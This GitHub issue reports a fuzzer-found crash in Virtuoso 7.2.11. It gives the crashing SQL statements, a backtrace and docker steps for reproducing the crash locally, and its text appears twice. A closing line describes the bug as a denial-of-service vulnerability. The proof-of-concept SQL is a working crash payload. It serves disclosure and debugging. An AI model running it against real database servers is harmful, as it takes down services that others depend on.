The PoC is generated by my DBMS fuzzer. It can also be reproduced in the beta docker image.
```SQL
CREATE TABLE v0 ( v1 NUMERIC NOT NULL CHECK ( ( v1 , v2 ) - -1 + -1 + 32 + 13041968.000000 ) NOT NULL UNIQUE CHECK ( -1 ) , v2 FLOAT ) ; 
  INSERT INTO v0 VALUES ( 45 , ( ( 37506630.000000 , 6956091.000000 ) ) ) ; 
  INSERT INTO v0 VALUES ( -1 , 96 ) ; 
  INSERT INTO v0 ( v1 ) SELECT v2 FROM v0 ; 
  UPDATE v0 SET v2 = 'x' WHERE CASE WHEN v1 - ( v1 + -1 ) > ( SELECT CASE WHEN 41 * - NULL + 46 + -1 + -128 + 96 + 0 THEN NULL ELSE 83 END FROM v0 WHERE ( SELECT CASE WHEN 2147483647 THEN 51229361.000000 ELSE 0 END - v1 FROM v0 WHERE ( CAST ( ( ( SELECT ALL CASE WHEN ( 13 , 'x' ) < ( 255 , 'x' ) THEN NULL ELSE 52 END * v2 FROM v0 GROUP BY v1 , v2 , v2 , v1 , v2 , v2 ORDER BY v1 ) , 'x' , 'x' ) AS FLOAT ) ) / 80777295.000000 ) = ( 35 ) ) THEN NULL ELSE 46 / -128 END ; 
```

backtrace:
```c
#0 0x601360 (row_insert_cast+0x50)
#1 0x53401a (setp_order_row+0x50a)
#2 0x63c182 (setp_node_run+0x4a2)
#3 0x63cc23 (setp_node_input+0x33)
#4 0x7af05e (qn_input+0x3ce)
#5 0x7af78f (qn_ts_send_output+0x23f)
#6 0x437069 (chash_read_input+0x1029)
#7 0x7af05e (qn_input+0x3ce)
#8 0x7af4c6 (qn_send_output+0x236)
#9 0x7af05e (qn_input+0x3ce)
#10 0x7bc82b (fun_ref_node_input+0x36b)
#11 0x7af05e (qn_input+0x3ce)
#12 0x7af4c6 (qn_send_output+0x236)
#13 0x8214bd (set_ctr_vec_input+0x99d)
#14 0x7af05e (qn_input+0x3ce)
#15 0x751d38 (subq_next+0x258)
#16 0x8201a2 (ins_vec_subq+0x2a2)
#17 0x753c6b (code_vec_run_v+0x9bb)
#18 0x7b86bb (end_node_input+0x13b)
#19 0x7af05e (qn_input+0x3ce)
#20 0x7af78f (qn_ts_send_output+0x23f)
#21 0x7b509e (table_source_input+0x16ee)
#22 0x7af05e (qn_input+0x3ce)
#23 0x7af4c6 (qn_send_output+0x236)
#24 0x8214bd (set_ctr_vec_input+0x99d)
#25 0x7af05e (qn_input+0x3ce)
#26 0x751d38 (subq_next+0x258)
#27 0x8201a2 (ins_vec_subq+0x2a2)
#28 0x753c6b (code_vec_run_v+0x9bb)
#29 0x7b86bb (end_node_input+0x13b)
#30 0x7af05e (qn_input+0x3ce)
#31 0x7af78f (qn_ts_send_output+0x23f)
#32 0x7b509e (table_source_input+0x16ee)
#33 0x7af05e (qn_input+0x3ce)
#34 0x7af4c6 (qn_send_output+0x236)
#35 0x8214bd (set_ctr_vec_input+0x99d)
#36 0x7af05e (qn_input+0x3ce)
#37 0x751d38 (subq_next+0x258)
#38 0x8201a2 (ins_vec_subq+0x2a2)
#39 0x753c6b (code_vec_run_v+0x9bb)
#40 0x7b86bb (end_node_input+0x13b)
#41 0x7af05e (qn_input+0x3ce)
#42 0x7af78f (qn_ts_send_output+0x23f)
#43 0x7b509e (table_source_input+0x16ee)
#44 0x7af05e (qn_input+0x3ce)
#45 0x7af4c6 (qn_send_output+0x236)
#46 0x8214bd (set_ctr_vec_input+0x99d)
#47 0x7af05e (qn_input+0x3ce)
#48 0x7c1be9 (qr_dml_array_exec+0x839)
#49 0x7ce602 (sf_sql_execute+0x15d2)
#50 0x7cecde (sf_sql_execute_w+0x17e)
#51 0x7d799d (sf_sql_execute_wrapper+0x3d)
#52 0xe214bc (future_wrapper+0x3fc)
#53 0xe28dbe (_thread_boot+0x11e)
#54 0x7f72a2f2b609 (start_thread+0xd9)
#55 0x7f72a2cfb133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
Fuzzer: Virtuoso 7.2.11 crashed at `row_insert_cast`
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : Fuzzer: Virtuoso 7.2.11 crashed at `row_insert_cast`
Issue date:

--- start body ---
The PoC is generated by my DBMS fuzzer. It can also be reproduced in the beta docker image.
```SQL
CREATE TABLE v0 ( v1 NUMERIC NOT NULL CHECK ( ( v1 , v2 ) - -1 + -1 + 32 + 13041968.000000 ) NOT NULL UNIQUE CHECK ( -1 ) , v2 FLOAT ) ; 
  INSERT INTO v0 VALUES ( 45 , ( ( 37506630.000000 , 6956091.000000 ) ) ) ; 
  INSERT INTO v0 VALUES ( -1 , 96 ) ; 
  INSERT INTO v0 ( v1 ) SELECT v2 FROM v0 ; 
  UPDATE v0 SET v2 = 'x' WHERE CASE WHEN v1 - ( v1 + -1 ) > ( SELECT CASE WHEN 41 * - NULL + 46 + -1 + -128 + 96 + 0 THEN NULL ELSE 83 END FROM v0 WHERE ( SELECT CASE WHEN 2147483647 THEN 51229361.000000 ELSE 0 END - v1 FROM v0 WHERE ( CAST ( ( ( SELECT ALL CASE WHEN ( 13 , 'x' ) < ( 255 , 'x' ) THEN NULL ELSE 52 END * v2 FROM v0 GROUP BY v1 , v2 , v2 , v1 , v2 , v2 ORDER BY v1 ) , 'x' , 'x' ) AS FLOAT ) ) / 80777295.000000 ) = ( 35 ) ) THEN NULL ELSE 46 / -128 END ; 
```

backtrace:
```c
#0 0x601360 (row_insert_cast+0x50)
#1 0x53401a (setp_order_row+0x50a)
#2 0x63c182 (setp_node_run+0x4a2)
#3 0x63cc23 (setp_node_input+0x33)
#4 0x7af05e (qn_input+0x3ce)
#5 0x7af78f (qn_ts_send_output+0x23f)
#6 0x437069 (chash_read_input+0x1029)
#7 0x7af05e (qn_input+0x3ce)
#8 0x7af4c6 (qn_send_output+0x236)
#9 0x7af05e (qn_input+0x3ce)
#10 0x7bc82b (fun_ref_node_input+0x36b)
#11 0x7af05e (qn_input+0x3ce)
#12 0x7af4c6 (qn_send_output+0x236)
#13 0x8214bd (set_ctr_vec_input+0x99d)
#14 0x7af05e (qn_input+0x3ce)
#15 0x751d38 (subq_next+0x258)
#16 0x8201a2 (ins_vec_subq+0x2a2)
#17 0x753c6b (code_vec_run_v+0x9bb)
#18 0x7b86bb (end_node_input+0x13b)
#19 0x7af05e (qn_input+0x3ce)
#20 0x7af78f (qn_ts_send_output+0x23f)
#21 0x7b509e (table_source_input+0x16ee)
#22 0x7af05e (qn_input+0x3ce)
#23 0x7af4c6 (qn_send_output+0x236)
#24 0x8214bd (set_ctr_vec_input+0x99d)
#25 0x7af05e (qn_input+0x3ce)
#26 0x751d38 (subq_next+0x258)
#27 0x8201a2 (ins_vec_subq+0x2a2)
#28 0x753c6b (code_vec_run_v+0x9bb)
#29 0x7b86bb (end_node_input+0x13b)
#30 0x7af05e (qn_input+0x3ce)
#31 0x7af78f (qn_ts_send_output+0x23f)
#32 0x7b509e (table_source_input+0x16ee)
#33 0x7af05e (qn_input+0x3ce)
#34 0x7af4c6 (qn_send_output+0x236)
#35 0x8214bd (set_ctr_vec_input+0x99d)
#36 0x7af05e (qn_input+0x3ce)
#37 0x751d38 (subq_next+0x258)
#38 0x8201a2 (ins_vec_subq+0x2a2)
#39 0x753c6b (code_vec_run_v+0x9bb)
#40 0x7b86bb (end_node_input+0x13b)
#41 0x7af05e (qn_input+0x3ce)
#42 0x7af78f (qn_ts_send_output+0x23f)
#43 0x7b509e (table_source_input+0x16ee)
#44 0x7af05e (qn_input+0x3ce)
#45 0x7af4c6 (qn_send_output+0x236)
#46 0x8214bd (set_ctr_vec_input+0x99d)
#47 0x7af05e (qn_input+0x3ce)
#48 0x7c1be9 (qr_dml_array_exec+0x839)
#49 0x7ce602 (sf_sql_execute+0x15d2)
#50 0x7cecde (sf_sql_execute_w+0x17e)
#51 0x7d799d (sf_sql_execute_wrapper+0x3d)
#52 0xe214bc (future_wrapper+0x3fc)
#53 0xe28dbe (_thread_boot+0x11e)
#54 0x7f72a2f2b609 (start_thread+0xd9)
#55 0x7f72a2cfb133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
--- end body ---

A segmentation fault in the `row_insert_cast` function of Virtuoso 7.2.11 allows attackers to crash the database server by executing specially crafted SQL statements. This vulnerability can be exploited through a fuzzer-generated payload that triggers the crash during the execution of complex SQL queries.